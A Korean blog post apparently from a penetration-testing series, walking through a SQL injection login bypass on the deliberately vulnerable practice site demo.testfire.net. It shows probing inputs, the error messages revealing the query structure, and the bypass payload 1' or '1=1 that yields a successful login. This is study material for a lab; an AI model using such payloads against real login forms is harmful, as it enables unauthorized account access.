실습설명
논리적 에러를 이용한 SQL Injection.
공격에 대한 인증 체계를 우회하여 계정과 암호없이 로그인하는 것을 테스트 한다.
실습 사이트 : http://demo.testfire.net (해당 실습등을 위해 만들어진 사이트라고 보면 된다.)
쿼리 구조의 필드이름은 Username, password 이고,
2개의 필드는 AND 구조로 연결되어 있으며,
입력한 문자열은 쿼테이션 내에 포함된 것을 확인 할 수 있다.
추가적인 에러 확인을 위해 "'1 or"를 입력한다.
아래 사진과 같은 오류를 확인 할 수 있다.
입력한 '1 or 값에 쿼데이션(')이 양쪽으로 감싸는 구조라는 것을 알 수 있다.
다른 에러 메세지를 보기 위해 Username과 Password에 1 or '1을 입력 한다.
입력한 값 중 쿼테이션이 누락된 위치(첫 번째 숫자 1 뒤에 쿼테이션이 누락됨)을 알 수 있다.
입력값(Username/Passowrd) | 출력 내용 | |
'1 | '1 | 'username = ''1' AND password = ''1'' 계정과 암호 필드의 이름 확인 |
'1 or | '1 or | 'username = ''1 or' AND password = ''1 or'' 입력한 '1 때문에 "1(특수문자 '(double quote)가 2개 보임)이 된다는 것을 알수 있다. 즉 1 앞의 특수문자 '는 삽입하면 안되는 것을 알수 있다. |
1 or '1 | 1 or '1 | 'username = '1 or '1' AND password = '1 or '1'' 앞에서 입력한 1(1 or '1)만으로는 '1(username = '1 or '1')만 보여지므로, 1 뒤에 특수문자 '가 필요하다라는 것을 알수 있다. |
(공격용 Username/Password)
1' or '1=1 | 1' or '1=1 | 'username = '1' or '1=1' AND password = '1' or '1=1" 위의 단계를 통해 얻은 정보를 바탕으로 1 뒤에 특수문자 '만 붙여진다면 '1'(username = '1') 구조가 되어, 쿼리 구조가 완선된다. |
로그인 성공
'모의해킹' 카테고리의 다른 글
모의해킹의 기초 정보 수집 (Gathering) (0) | 2018.12.03 |
---|---|
WebGoat 문제풀이 - 2. Ajax Security - LAB: DOM-Based Cross Site Scripting (0) | 2018.11.21 |
WebGoat 문제풀이 - 1. General (0) | 2018.11.21 |
MySQL DB 공격을 통한 데이터베이스 정보 추출 (0) | 2018.11.02 |